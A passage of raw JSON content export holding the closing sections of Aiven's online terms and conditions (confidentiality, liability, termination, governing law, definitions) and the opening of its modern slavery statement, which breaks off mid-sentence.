Confidentiality"}],"markDefs":[],"style":"h3"},{"_key":"805d216bf242","_type":"block","children":[{"_key":"31bb690da1d10","_type":"span","marks":[],"text":"Each Party shall keep in confidence all material and information received from the other Party and marked as confidential or which should be understood to be confidential (\"Confidential Information\"), and may not use such Confidential Information for any other purpose than those set forth in the Agreement. The confidentiality obligation shall, however, not apply to material and information, (a) which is or later becomes generally available or otherwise public; or (b) which the receiving Party has received from a third party without any obligation of confidentiality; or (c) which was rightfully in the possession of the receiving Party prior to receipt of the same from the disclosing Party without any obligation of confidentiality related thereto; (d) which a Party has independently developed without any use of or reference to the Confidential Information received from the other Party; or (e) which a Party is required to disclose under any mandatory law or by order of a court or governmental body of competent jurisdiction."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2107d986fce7","_type":"block","children":[{"_key":"52052d526f0d0","_type":"span","marks":[],"text":"Each Party shall promptly upon termination of the Agreement, or when the Party no longer needs the Confidential Information in question for the purpose of performing its obligations or exercising its rights under the Agreement, cease using the Confidential Information received from the other Party and, unless the Parties separately agree on destruction of such Confidential Information, return the Confidential Information in question (including all copies and reproductions thereof) to the other Party. Each Party shall, however, be entitled to retain the copies required by law or administrative orders applicable to such Party."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"97d1e91067ec","_type":"block","children":[{"_key":"d503fa851f2d0","_type":"span","marks":[],"text":"Notwithstanding the confidentiality obligation set forth herein, each Party shall be entitled to use the general professional skills and experience acquired in connection with the performance of the Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"552ee55430eb","_type":"block","children":[{"_key":"9d86a0bf517a0","_type":"span","marks":[],"text":"The rights and obligations related to the Confidential Information shall survive the termination of this Agreement for any reason for a period of three (3) years from such termination."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ac8de0d20a9b","_type":"block","children":[{"_key":"949a7ca4a35b0","_type":"span","marks":[],"text":"11. Limitation of Liability"}],"markDefs":[],"style":"h3"},{"_key":"e30663907e8d","_type":"block","children":[{"_key":"5bc60f922b3a0","_type":"span","marks":[],"text":"The total aggregate liability of a Party towards the other Party under the Agreement shall not exceed (i) an amount equal to the Fees paid by the Customer to Aiven during the six (6) months preceding the event giving rise to the liability; or (ii) fifty thousand (50.000) Euro, whichever is less."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4f623751e7c2","_type":"block","children":[{"_key":"86a3a37c266d0","_type":"span","marks":[],"text":"A Party shall not be liable for any indirect, incidental, or consequential damages such as loss of profits, revenue or business, damages caused due to decrease in turnover or production or loss, alteration, destruction or corruption of data."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7e3dfc673baa","_type":"block","children":[{"_key":"b7465b52f7a80","_type":"span","marks":[],"text":"The limitations of liability shall not apply to damages caused by willful misconduct or gross negligence or to liability under Section 9 (Indemnification) or Section 10 (Confidentiality)."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f12b586b1228","_type":"block","children":[{"_key":"57b90c90ee8c0","_type":"span","marks":[],"text":"12. Term and Termination"}],"markDefs":[],"style":"h3"},{"_key":"b0094da0c118","_type":"block","children":[{"_key":"b27f562e70c10","_type":"span","marks":[],"text":"This Agreement shall enter into force when the Customer has accepted this Agreement when registering for the first time to use the Cloud Services. If the Cloud Services are ordered through a separate Order Form, this Agreement will become effective as stated in the Order Form."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"3516d7d36231","_type":"block","children":[{"_key":"eb5c57cecf260","_type":"span","marks":[],"text":"Unless expressly set out to the contrary in the Order Form, the Agreement shall remain in force until terminated by a Party by a two (2) months' written notice to the other Party. Unless expressly set out to the contrary in the Order Form, the Customer may terminate the order of any individual Cloud Service at any time by choosing that option at the Customer's account on the Web Site, in which case the invoicing for the relevant Cloud Service shall be stopped from that day onward. If a Customer terminates individual Cloud Services, the Agreement remains in force until terminated as set out in this section 12."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"dbd1595556ee","_type":"block","children":[{"_key":"2311f50f8bc20","_type":"span","marks":[],"text":"Each Party may terminate the Agreement in whole for cause with immediate effect upon written notice to the other Party if (a) the other Party becomes insolvent, applies for or is adjudicated in bankruptcy or liquidation or corporate restructuring or otherwise ceases to carry on its business; or (b) the other Party is in material breach of the terms and conditions of this Agreement and fails to remedy such breach within thirty (30) days from the date of receipt of a written notice by the non-defaulting Party, such written notice detailing the breach and the intention to terminate."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a94d6fdab44e","_type":"block","children":[{"_key":"21d0a21c0cc00","_type":"span","marks":[],"text":"Unless expressly set out to the contrary in the Order Form, upon the termination of the Agreement for any reason, any Fees owed by the Customer until the effective date of the termination shall become due."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2034d04da68c","_type":"block","children":[{"_key":"c9600ce01a620","_type":"span","marks":[],"text":"If not instructed otherwise in writing by the Customer and unless legally required to keep Customer data uploaded to the Cloud Services, Aiven shall delete and destroy the data the latest within ninety (90) days' of the termination of the Agreement or after the maximum data retention period permitted by the technology of the relevant Cloud Service. In case the Customer demands that the Customer data are returned to the Customer or to a third party, the Customer will pay Aiven for any additional costs and expenses arising out of such return of the Customer data."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bff18dcfe077","_type":"block","children":[{"_key":"384c566cc3090","_type":"span","marks":[],"text":"13. Other Terms"}],"markDefs":[],"style":"h3"},{"_key":"bd9a2b416696","_type":"block","children":[{"_key":"7cae8fb4e1720","_type":"span","marks":[],"text":"Notwithstanding the rules on Subprocessors agreed in the DPA, Aiven shall be free to use subcontractors in the performance of its obligations and exercise of its rights under this Agreement. A list of Aiven's Subprocessors and subcontractors is available at the Web Site, if not communicated separately to the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2530acec50f1","_type":"block","children":[{"_key":"02b8a70d3e710","_type":"span","marks":[],"text":"Aiven shall have the right to use its relationship with the Customer in its marketing and sales promotion activities."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0955de201b9f","_type":"block","children":[{"_key":"ad4bd9e8df800","_type":"span","marks":[],"text":"This Agreement constitutes the entire agreement with respect to Customer’s access to and use of the Cloud Services. Aiven's obligations regarding the Cloud Services are governed solely by this Agreement pursuant to which they are provided. In the event of discrepancy between this Agreement and the Aiven standard template Order Form, the text of the Aiven standard template Order Form shall prevail. For clarity, these General Terms shall prevail over any Customer general terms and conditions which may have been referenced in the Customer’s standard template order form or purchase order."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d1dad0d6fd39","_type":"block","children":[{"_key":"c942a6fe287f0","_type":"span","marks":[],"text":"Except as expressly provided herein, neither Party makes any warranties of any kind, whether express, implied, statutory or otherwise, and each Party specifically disclaims all implied warranties, including any warranties of merchantability, fitness for a particular purpose, or non-infringement, and any warranties arising out of course of dealing, course of performance or use of trade to the maximum extent permitted by applicable law. The Cloud Services are provided to Customer strictly on an \"as is\" basis. Aiven shall have no responsibility for determining that Customer's proposed use of the Cloud Services complies with applicable laws and regulations in Customer's jurisdiction(s). Customer acknowledges and agrees Aiven is not engaged in providing legal, accounting, tax, or financial services or advice. No advice or information, whether oral or written, provided by Aiven will create any warranty or condition not expressly stated in this agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f8e71f32fcbd","_type":"block","children":[{"_key":"80662b56de1a0","_type":"span","marks":[],"text":"Either Party shall not be liable for any delays or non-performance of its obligations or any damages caused by an impediment beyond its reasonable control, which it could not have reasonably taken into account at the time of entering into this Agreement, and whose consequences it could not reasonably have avoided or overcome. For instance, errors in public communication networks or electricity supply shall constitute such an impediment. Strike, lockout, boycott and other industrial action shall constitute a force majeure event also when the Party concerned is the target or Party to such action. A force majeure event suffered by a Subprocessor or a subcontractor of a Party shall also discharge such Party from liability. Each Party shall without delay inform the other Party in writing of a force majeure event and the termination of the force majeure event."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bacee1bd5c27","_type":"block","children":[{"_key":"a9922b92ee360","_type":"span","marks":[],"text":"All formal notices and other formal communication between the Parties hereunder shall be made in the English language. Neither Party shall be entitled to assign nor transfer all or any of its rights, benefits and obligations under this Agreement without the prior written consent of the other Party, which consent shall not be unreasonably withheld or delayed. Aiven shall, however, have the right to assign this Agreement in connection with a sale or transfer of its business or a relevant part thereof."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4b9b7be9debb","_type":"block","children":[{"_key":"375006bb5b230","_type":"span","marks":[],"text":"Aiven shall have the right to update the Agreement at its sole discretion. Aiven shall notify the Customer of material updates. Should the Customer not accept the updated Agreement, the Customer shall have the right to terminate the Agreement by a written notice to the Company, effective as of the effective date of the update of the Agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"657472767028","_type":"block","children":[{"_key":"5fe9960ff4290","_type":"span","marks":[],"text":"Any terms and conditions that by their nature or otherwise reasonably should survive a cancellation or termination of this Agreement shall also be deemed to survive."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7156964cef00","_type":"block","children":[{"_key":"c7c4e5e7b3ee0","_type":"span","marks":[],"text":"Aiven shall have the right to delete Cloud Services which have been powered-off for more than 180 days. The Customer acknowledges that such deletion will also delete all backups of such deleted Cloud Service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"333f7902afb6","_type":"block","children":[{"_key":"99c1c8e8502f0","_type":"span","marks":[],"text":"14. Governing Law and Disputes"}],"markDefs":[],"style":"h3"},{"_key":"5718734724da","_type":"block","children":[{"_key":"b73a5781bf530","_type":"span","marks":[],"text":"The Agreement shall be governed by and construed in accordance with the substantive laws of Finland, excluding its choice of law provisions."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7f3e9be687a2","_type":"block","children":[{"_key":"9cb274f7e6950","_type":"span","marks":[],"text":"Any dispute, controversy or claim arising out of or relating to this Agreement, or the breach, termination or validity thereof, shall be finally settled by arbitration in accordance with the Arbitration Rules of the Finland Chamber of Commerce. The number of arbitrators shall be one (1). The seat of arbitration shall be Helsinki, Finland. The language of the arbitration shall be English."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"266d8e889698","_type":"block","children":[{"_key":"3b183d244bbc0","_type":"span","marks":[],"text":"Notwithstanding anything set out in Section 14.2 above, Aiven shall have the right to claim unpaid Fees in a public court."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"43cc58568e97","_type":"block","children":[{"_key":"dc443fe7b7b40","_type":"span","marks":[],"text":"15. Definitions"}],"markDefs":[],"style":"h3"},{"_key":"5ac5c5fb02ce","_type":"block","children":[{"_key":"62cd77310c5e0","_type":"span","marks":[],"text":"\""},{"_key":"62cd77310c5e1","_type":"span","marks":["strong"],"text":"Acceptable Use Policy"},{"_key":"62cd77310c5e2","_type":"span","marks":[],"text":"\" has the meaning set out in Section 7.1;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9bfe4603ad3b","_type":"block","children":[{"_key":"fa85a4c88d731","_type":"span","marks":["strong"],"text":"\"Additional Services"},{"_key":"fa85a4c88d732","_type":"span","marks":[],"text":"\" means optional Services, further described in an Order Form or at the Website, as applicable, which are not Cloud Services, Consulting Services, Support Services or Beta Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f8c542275572","_type":"block","children":[{"_key":"5e74f480bef10","_type":"span","marks":[],"text":"\""},{"_key":"5e74f480bef11","_type":"span","marks":["strong"],"text":"Affiliate"},{"_key":"5e74f480bef12","_type":"span","marks":[],"text":"\" of a Party means any legal entity that is (a) directly or indirectly owning or controlling the Party, or (b) under the same direct or indirect ownership or control as the Party, or (c) directly or indirectly owned or controlled by the Party, for so long as such ownership or control lasts. Ownership or control shall exist through direct or indirect ownership of more than fifty percent (50%) of the nominal value of the issued equity share capital or more than fifty percent (50%) of the shares entitling the holders to vote for the election of the members of the board of directors or persons performing similar functions;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e7523110acc6","_type":"block","children":[{"_key":"27951331397d0","_type":"span","marks":[],"text":"\""},{"_key":"27951331397d1","_type":"span","marks":["strong"],"text":"Agreement"},{"_key":"27951331397d2","_type":"span","marks":[],"text":"\" means this agreement between Aiven and the Customer, consisting of these General Terms, the SLA, the DPA and the Support Services Description available on the Web Site, and any Order Form with its appendices that Aiven and the Customer may have entered into;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"b570f464aecf","_type":"block","children":[{"_key":"c5c989b6b1200","_type":"span","marks":[],"text":"\""},{"_key":"c5c989b6b1201","_type":"span","marks":["strong"],"text":"Beta Services"},{"_key":"c5c989b6b1202","_type":"span","marks":[],"text":"\" means a preview of the new Aiven Cloud Services, which have not been made generally available, including early access and limited access Cloud Services. The definition Beta Services includes also Cloud Services provided to Customer free of charge;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9e041560a4fa","_type":"block","children":[{"_key":"d0c961cb6ef40","_type":"span","marks":[],"text":"\""},{"_key":"d0c961cb6ef41","_type":"span","marks":["strong"],"text":"Beta Features"},{"_key":"d0c961cb6ef42","_type":"span","marks":[],"text":"\" means features, which have not been made generally available, including early access and limited access features. The definition Beta Features includes also features provided to Customer free of charge;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"df6a7a68e287","_type":"block","children":[{"_key":"da05063c64260","_type":"span","marks":[],"text":"\""},{"_key":"da05063c64261","_type":"span","marks":["strong"],"text":"Cloud Service(s)"},{"_key":"da05063c64262","_type":"span","marks":[],"text":"\" means the cloud based services provided by Aiven to the Customer as set out in the Agreement;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"eefe3803334a","_type":"block","children":[{"_key":"ab53c21a12d00","_type":"span","marks":[],"text":"\""},{"_key":"ab53c21a12d01","_type":"span","marks":["strong"],"text":"Customer"},{"_key":"ab53c21a12d02","_type":"span","marks":[],"text":"\" means the customer entity registering to use the Services or the customer entity set out in the Order Form, including its Affiliates, and entering into the Agreement with Aiven;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"34316a9a951e","_type":"block","children":[{"_key":"0189c1a27e070","_type":"span","marks":[],"text":"\""},{"_key":"0189c1a27e071","_type":"span","marks":["strong"],"text":"Confidential Information"},{"_key":"0189c1a27e072","_type":"span","marks":[],"text":"\" has the meaning set out in Section 10.1;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5296d4ea3be6","_type":"block","children":[{"_key":"facf7d2c24ec1","_type":"span","marks":["strong"],"text":"\"Consulting Services"},{"_key":"facf7d2c24ec2","_type":"span","marks":[],"text":"\" means Services further described and classified as Consulting Services in an Order Form and which are subject to additional consulting terms and conditions."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"60103f016d4c","_type":"block","children":[{"_key":"801efb920e6b0","_type":"span","marks":[],"text":"\""},{"_key":"801efb920e6b1","_type":"span","marks":["strong"],"text":"DPA"},{"_key":"801efb920e6b2","_type":"span","marks":[],"text":"\" means Aiven Data Processing Agreement which is located on the Web Site or as an appendix of the Order Form;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"74642afcd5f3","_type":"block","children":[{"_key":"5a2bb7397b630","_type":"span","marks":[],"text":"\""},{"_key":"5a2bb7397b631","_type":"span","marks":["strong"],"text":"Data Protection Regulation"},{"_key":"5a2bb7397b632","_type":"span","marks":[],"text":"\" means all applicable laws relating to data protection, including without limitation the EU General Data Protection Regulation (2016/679, the GDPR), laws implementing EU Directive 2002/58/EC and any amendments to or replacements for such laws and regulations;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a85449292ce3","_type":"block","children":[{"_key":"5755438a28440","_type":"span","marks":[],"text":"\""},{"_key":"5755438a28441","_type":"span","marks":["strong"],"text":"Fee(s)"},{"_key":"5755438a28442","_type":"span","marks":[],"text":"\" means the compensation paid by the Customer for the Services;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0d6935ed8e30","_type":"block","children":[{"_key":"e1f47f5630670","_type":"span","marks":[],"text":"\""},{"_key":"e1f47f5630671","_type":"span","marks":["strong"],"text":"General Terms"},{"_key":"e1f47f5630672","_type":"span","marks":[],"text":"\" has the meaning set out in the preamble above;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"38dea03d7f3e","_type":"block","children":[{"_key":"b4e44d21b84b0","_type":"span","marks":[],"text":"\""},{"_key":"b4e44d21b84b1","_type":"span","marks":["strong"],"text":"Intellectual Property Rights"},{"_key":"b4e44d21b84b2","_type":"span","marks":[],"text":"\" means any and all patents, utility models, design rights, copyrights (including the right to amend, modify, develop and assign), trademarks, trade names, inventions, trade secrets, domain names, know-how and any other industrial or intellectual property rights (including applications thereof);"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9684bd74f527","_type":"block","children":[{"_key":"bf48708988280","_type":"span","marks":[],"text":"\""},{"_key":"bf48708988281","_type":"span","marks":["strong"],"text":"Order Form"},{"_key":"bf48708988282","_type":"span","marks":[],"text":"\" means an order concerning the purchase of Services between the Parties. By entering into an Order Form under this Agreement, the Customer agrees to be bound by the terms of this Agreement, of which these General Terms form an integral and inseparable part of. The Order Form may include an executed quotation or purchase order for the Services. The scope of the Services, commercial details, effective date and term length for each separate order are specified in the applicable Order Form. The Order Forms will form an inseparable part of this Agreement in the order entered into;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"2a79c135d5bf","_type":"block","children":[{"_key":"e2d5a6bfe21d0","_type":"span","marks":[],"text":"\""},{"_key":"e2d5a6bfe21d1","_type":"span","marks":["strong"],"text":"Services"},{"_key":"e2d5a6bfe21d2","_type":"span","marks":[],"text":"\" means the services provided by Aiven under the Agreement, including Cloud Services, Support Services, Consulting Services, Beta Services and Additional Services;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"aaf068a27399","_type":"block","children":[{"_key":"e35473f4e76e0","_type":"span","marks":[],"text":"\""},{"_key":"e35473f4e76e1","_type":"span","marks":["strong"],"text":"SLA"},{"_key":"e35473f4e76e2","_type":"span","marks":[],"text":"\" means Aiven Service Level Agreement which is located on the Web Site or as an appendix of the Order Form;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6e582832f034","_type":"block","children":[{"_key":"dc23403565e60","_type":"span","marks":[],"text":"\""},{"_key":"dc23403565e61","_type":"span","marks":["strong"],"text":"Standard Contractual Clauses"},{"_key":"dc23403565e62","_type":"span","marks":[],"text":"\" means the contractual clauses issued by the European Commission by the decision 2021/914/EU for international transfers of personal data and any updated versions;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8a92d30be0b6","_type":"block","children":[{"_key":"be6d7a16d4760","_type":"span","marks":["strong"],"text":"\"Subprocessor\" "},{"_key":"be6d7a16d4761","_type":"span","marks":[],"text":"means Aiven Affiliates and third parties; i) providing the back-end services for Aiven and/or ii) selected by the Customer to provide the hosting services for the data Customer inputs to the Cloud Services (e.g. Google, Microsoft, AWS). The Subprocessors and their services are listed on the Website."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7e51d3268043","_type":"block","children":[{"_key":"6b61fa5174120","_type":"span","marks":[],"text":"\""},{"_key":"6b61fa5174121","_type":"span","marks":["strong"],"text":"Support Services"},{"_key":"6b61fa5174122","_type":"span","marks":[],"text":"\" means the Support Services provided by Aiven to the Customer;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c0656696e5bf","_type":"block","children":[{"_key":"3ace3801f6990","_type":"span","marks":[],"text":"\""},{"_key":"3ace3801f6991","_type":"span","marks":["strong"],"text":"Support Services Description"},{"_key":"3ace3801f6992","_type":"span","marks":[],"text":"\" which is located on the Web Site or as an appendix of the Order Form; and"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"60a03f8424bf","_type":"block","children":[{"_key":"3588e8f1f5130","_type":"span","marks":[],"text":"\""},{"_key":"3588e8f1f5131","_type":"span","marks":["strong"],"text":"Web Site"},{"_key":"3588e8f1f5132","_type":"span","marks":[],"text":"\" means Aiven's web site available at "},{"_key":"3588e8f1f5133","_type":"span","marks":["d212f1acee4a"],"text":"aiven.io"},{"_key":"3588e8f1f5134","_type":"span","marks":[],"text":" and the Aiven console available at "},{"_key":"3588e8f1f5135","_type":"span","marks":["8a0bb60696a9"],"text":"console.aiven.io"},{"_key":"3588e8f1f5136","_type":"span","marks":[],"text":" through which the Customer may use the Cloud Services."}],"level":1,"listItem":"number","markDefs":[{"_key":"d212f1acee4a","_type":"link","href":"https://aiven.io/"},{"_key":"8a0bb60696a9","_type":"link","href":"https://console.aiven.io/"}],"style":"normal"}],"publishedAt":"2024-03-04T14:13:42.271Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven works hard to provide clear, easily understandable terms so that our clients can get to what really matters: getting the most from our services.\n","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1f96cdceafe9b960b205c068a97313d3235b5e8d-476x250-jpg","_type":"reference"}},"metaTitle":"Terms of Service | Aiven"},"slug":{"_type":"slug","current":"/terms"},"title":"Aiven General Online Terms and Conditions"}
{"__i18n_lang":"en","_createdAt":"2024-11-20T11:49:55Z","_id":"0fb13a4b-e541-40c6-af0b-c03c3a71aee7","_rev":"Ud5WTDnszW9rcVYh0vV5pb","_type":"term","_updatedAt":"2024-11-21T13:10:13Z","content":[{"_key":"3bc1641fbf15","_type":"block","children":[{"_key":"cd3a441ef3510","_type":"span","marks":[],"text":"Introduction"}],"markDefs":[],"style":"h2"},{"_key":"379d402d2730","_type":"block","children":[{"_key":"22b46a648ad10","_type":"span","marks":[],"text":"Aiven Oy was founded in 2016 in Helsinki, Finland. Doing business in an ethical way has always been Aiven’s ambition. Aiven operates with integrity and expects the same from its partners. In this statement, the company’s good intentions are put into action. Aiven will not only take steps to identify modern slavery risks in our business, but will execute concrete measures to reduce and eliminate these risks."}],"markDefs":[],"style":"normal"},{"_key":"aa73842b56f8","_type":"block","children":[{"_key":"ce0806c9d0b30","_type":"span","marks":[],"text":"Aiven has adopted this statement pursuant to the United Kingdom Modern Slavery Act of 2015 and the Australia Modern Slavery Act of 2018. The statement concerns Aiven Oy and its wholly owned subsidiaries (referred to collectively as “"},{"_key":"ce0806c9d0b31","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"ce0806c9d0b32","_type":"span","marks":[],"text":"”). The entity preparing this statement is Aiven Oy. The Board of Directors of Aiven Oy has approved the statement on 6 November 2024."}],"markDefs":[],"style":"normal"},{"_key":"4ec4f9032a1f","_type":"block","children":[{"_key":"59422e0d788a0","_type":"span","marks":[],"text":"Our business"}],"markDefs":[],"style":"h2"},{"_key":"5eb9fa53ce0c","_type":"block","children":[{"_key":"351ec2cf27040","_type":"span","marks":[],"text":"Aiven provides a fully managed cloud data platform for a wide variety of open source data technologies on all major clouds. Its service enables developers to build software-as-a-service (SaaS) and next-generation applications quickly and securely. Through this, Aiven helps its customers reduce the time and costs spent on managing data infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"c428d2bb66d5","_type":"block","children":[{"_key":"ebbdc954b3c80","_type":"span","marks":[],"text":"With its headquarters located in Helsinki, Finland, Aiven also maintains offices in Berlin, Paris, London, Austin, Toronto, Sydney and Auckland. As an international company with over 350 employees worldwide, Aiven prioritizes compliance with applicable laws, regulations, and industry best practices. To ensure this, the company’s internal policies are crafted to adhere to both legal standards and high ethical principles, fostering a culture of compliance and integrity throughout the organization."}],"markDefs":[],"style":"normal"},{"_key":"e19d527763e2","_type":"block","children":[{"_key":"3ae850a76c830","_type":"span","marks":[],"text":"Our policies"}],"markDefs":[],"style":"h2"},{"_key":"e7753e8de478","_type":"block","children":[{"_key":"8c39272c870b0","_type":"span","marks":[],"text":"Aiven is committed to ensuring that there is no modern slavery in its supply chains or in any part of its business. In addition to this statement, several of the company’s current policies and processes contribute to the governance of combating modern slavery and human trafficking, including but not limited to the following:"}],"markDefs":[],"style":"normal"},{"_key":"eaccbdd32694","_type":"block","children":[{"_key":"27a96c981c3c0","_type":"span","marks":[],"text":"Aiven values of "},{"_key":"27a96c981c3c1","_type":"span","marks":["strong"],"text":"ownership, openness and courage"},{"_key":"27a96c981c3c2","_type":"span","marks":[],"text":" demonstrate the company’s willingness to take responsibility for its actions and to acknowledge and correct its errors."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6036e1052670","_type":"block","children":[{"_key":"6ddbd22627f90","_type":"span","marks":[],"text":"In the "},{"_key":"54cbbd3203bd","_type":"span","marks":["065382401392","strong"],"text":"Aiven Code of Conduct"},{"_key":"6ddbd22627f92","_type":"span","marks":[],"text":", the company expresses its commitment to human rights, avoiding complicity in any human rights abuse, respecting employment laws and employees’ right to organize, and we condemn all child labor and forced labor."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"065382401392","_type":"link","href":"https://cdn.sanity.io/files/sczeoy4w/production/6b9afbb9db98184240c1b402ebb248b3cbdff615.pdf"}],"style":"normal"},{"_key":"2dde0108b8c2","_type":"block","children":[{"_key":"f8218477512d0","_type":"span","marks":[],"text":"More detailed employment policies of the company echo these commitments and aim for the "},{"_key":"f8218477512d1","_type":"span","marks":["strong"],"text":"highest level of employee protection"},{"_key":"f8218477512d2","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"79be2b4fb702","_type":"block","children":[{"_key":"aaea73e7cc620","_type":"span","marks":[],"text":"Employees at Aiven are encouraged to be critical and to speak up if they see something that seems illegal, wrongful or unethical – to support this, the company’s "},{"_key":"aaea73e7cc621","_type":"span","marks":["strong"],"text":"Whistleblower Protection Policy"},{"_key":"aaea73e7cc622","_type":"span","marks":[],"text":" enables anonymous reporting."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"483cd35a60ba","_type":"block","children":[{"_key":"e8aeec407dfe0","_type":"span","marks":[],"text":"Aiven seeks to minimize risks relating to human rights violations through its policies regarding high-risk jurisdictions, for example through the "},{"_key":"e8aeec407dfe1","_type":"span","marks":["strong"],"text":"International Sanctions and Trade Restriction "},{"_key":"e8aeec407dfe2","_type":"span","marks":[],"text":"policy, and ensure that these considerations are taken into account when Aiven expands to new areas."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b1ef7305bae3","_type":"block","children":[{"_key":"f7b56eb53d160","_type":"span","marks":[],"text":"The policies relating to "},{"_key":"f7b56eb53d161","_type":"span","marks":["strong"],"text":"Anti-Corruption and Bribery"},{"_key":"f7b56eb53d162","_type":"span","marks":[],"text":" and the "},{"_key":"f7b56eb53d163","_type":"span","marks":["strong"],"text":"supplier management"},{"_key":"f7b56eb53d164","_type":"span","marks":[],"text":" process guide the company to work with accountable, compliant and socially responsible partners."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8b6fe770c8b2","_type":"block","children":[{"_key":"ba4d0eb2533d0","_type":"span","marks":[],"text":"Aiven’s "},{"_key":"ba4d0eb2533d1","_type":"span","marks":["strong"],"text":"Sustainability and Social Impact Commitment"},{"_key":"ba4d0eb2533d2","_type":"span","marks":[],"text":" also contributes towards similar goals as combating modern slavery by increasing the transparency of our supply chains."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"723c0fd1afbb","_type":"block","children":[{"_key":"2972d9aa6e780","_type":"span","marks":[],"text":"Risk assessment of our activities"}],"markDefs":[],"style":"h2"},{"_key":"5e47988411e3","_type":"block","children":[{"_key":"adf06fb9fec80","_type":"span","marks":[],"text":"Aiven operates in a sector where the risk of modern slavery and human trafficking is relatively low. In its business, being able to attract qualified talent is critical, so Aiven makes sure to maintain attractive and fair working conditions."}],"markDefs":[],"style":"normal"},{"_key":"10bc452dcf73","_type":"block","children":[{"_key":"0cdd8e0fccef0","_type":"span","marks":[],"text":"Aiven also acknowledges that modern slavery risks can be higher in certain jurisdictions. Therefore, the company focuses its offices and employees in democratically governed jurisdictions with high levels of accountability and responsivity to modern slavery risks."}],"markDefs":[],"style":"normal"},{"_key":"2652807a8acc","_type":"block","children":[{"_key":"15283a8759540","_type":"span","marks":[],"text":"In Aiven’s supply chain, the most critical suppliers are the major public cloud service providers, all of which have comprehensive modern slavery policies. The cloud sector is not subject to heightened modern slavery risks. Meanwhile, Aiven’s less essential suppliers may also come from industries that are more exposed to human rights risks, including the hospitality and textile industries."}],"markDefs":[],"style":"normal"},{"_key":"b8e16b92ff43","_type":"block","children":[{"_key":"8906ba964e2a0","_type":"span","marks":[],"text":"Aiven recognizes that modern slavery and human trafficking are among the most serious human rights violations in modern society. They affect tens of millions of victims around the world annually. Therefore, Aiven takes even the smallest risks seriously. To date Aiven has not detected modern slavery violations in its business and has also not been subject to accusations of such."}],"markDefs":[],"style":"normal"},{"_key":"e2337005dc2b","_type":"block","children":[{"_key":"7d400fea345a0","_type":"span","marks":[],"text":"Our supplier due diligence"}],"markDefs":[],"style":"h2"},{"_key":"16888765bcea","_type":"block","children":[{"_key":"12d94fa475a60","_type":"span","marks":[],"text":"Aiven’s aim is to work exclusively with suppliers and partners who hold up to the company’s values and Code of Conduct. Aiven requires that its employees use the company’s resources responsibly and in line with the company’s ethical standards. This is enforced by the company’s mandatory spend guidelines and supplier management process. Although Aiven mainly focuses on legal, security and privacy compliance, suppliers who fulfill our compliance requirements also typically adhere to more comprehensive human rights 